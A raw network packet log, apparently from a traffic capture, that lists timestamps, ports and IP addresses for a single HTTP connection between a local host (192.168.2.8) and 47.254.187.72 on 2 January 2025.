Jan 2, 2025 20:20:09.766671896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.770026922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.770039082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.770049095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.770061016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.770071983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.770083904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.770117998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.770123959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.770123959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.770169973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.787303925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.787328959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.787341118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.787350893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.787363052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.787374020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.787384033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.787404060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.787445068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800324917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800338030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800354958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800391912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800405979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800411940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800424099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800435066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800436974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800436974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800446033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800456047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800467014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800467014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800467968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800484896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800501108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800512075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800512075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800512075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800522089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800533056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800544024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800553083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800553083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800581932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800581932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800599098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800616026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800626993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800649881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800663948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.800677061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800677061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800698042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.800745964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801198006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801208973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801224947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801265001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801265001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801331043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801348925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801359892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801394939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801404953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801404953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801405907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801415920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801425934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801441908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801454067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801464081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801470995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801470995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801475048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801485062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801491022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801507950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801526070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801538944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801548004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801548958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801559925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801572084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801589012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801589012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801598072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801609039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.801615953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.801640987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.807377100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.807389021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.807399035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.807410955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.807423115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.807434082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.807440996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.807445049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.807456017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.807486057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.807519913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.810707092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.810719013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.810729980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.810751915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.810762882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.810772896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.810784101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.810784101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.810785055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.810827017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.810827017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.811218977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.811230898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.811243057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.811248064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.811254025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.811263084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.811280012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.811296940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.811332941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.837222099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837234974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837255955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837266922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837276936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837284088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.837292910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837302923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837313890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837323904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837326050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.837352991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837363005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.837363005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837373972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837388992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.837402105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837404013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.837413073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837424040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837430000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.837434053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837455034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.837472916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.837491989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.837496996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837507010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.837554932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.859896898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.859911919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.859930992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.859941006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.859955072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.859963894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.859973907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.859977007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.859977007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.859985113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.859996080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860013008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860032082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860230923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860296011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860308886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860352039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860368967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860379934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860390902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860402107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860413074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860419989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860450983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860450983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860589981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860599995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860611916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860649109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860658884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860668898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860677958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860682964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860696077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860707045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860718012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.860718012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860718012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860743046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.860791922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.861222029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.861232042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.861248970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.861259937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.861264944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.861269951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.861320972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.861320972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.861370087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.861381054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.861392021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.861402988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.861429930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.861470938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.881624937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.881644964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.881656885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.881666899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.881685019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.881695032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.881701946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.881707907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.881714106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.881742001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.881793976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.890902042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.890918970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.890929937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.890942097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.890954018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.890966892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.891021967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.891063929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891079903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891097069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891108036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891110897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.891124010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891134024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891135931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.891139984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891149998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891156912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891161919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891168118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891172886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891179085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.891179085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891185045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891205072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.891257048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.891287088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891299009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891309977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891324043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.891335964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.891380072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.891380072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892236948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892247915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892294884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892312050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892322063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892328024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892333984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892343998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892355919 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892360926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892389059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892405987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892410040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892431021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892457008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892467022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892484903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892504930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892651081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892661095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892677069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892693043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892704964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892705917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892715931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892731905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892734051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892745018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892757893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892760038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892769098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892779112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892791033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.892797947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892816067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.892838001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.897995949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.898008108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.898019075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.898029089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.898040056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.898050070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.898061037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.898067951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.898070097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.898107052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.898149014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.901289940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901299953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901312113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901321888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901331902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901343107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901354074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901362896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901369095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.901369095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.901405096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.901405096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.901649952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901660919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901698112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901709080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901714087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.901720047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901734114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901748896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901750088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.901758909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901768923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.901782036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.901813984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.927885056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.927897930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.927910089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.927920103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.927931070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.927941084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.927944899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.927952051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.927962065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.927975893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.927995920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.928010941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.928021908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.928033113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.928047895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.928057909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.928076029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.928081989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.928081989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.928086042 CET	80	49704	47.254.187.72	192.168.2.8
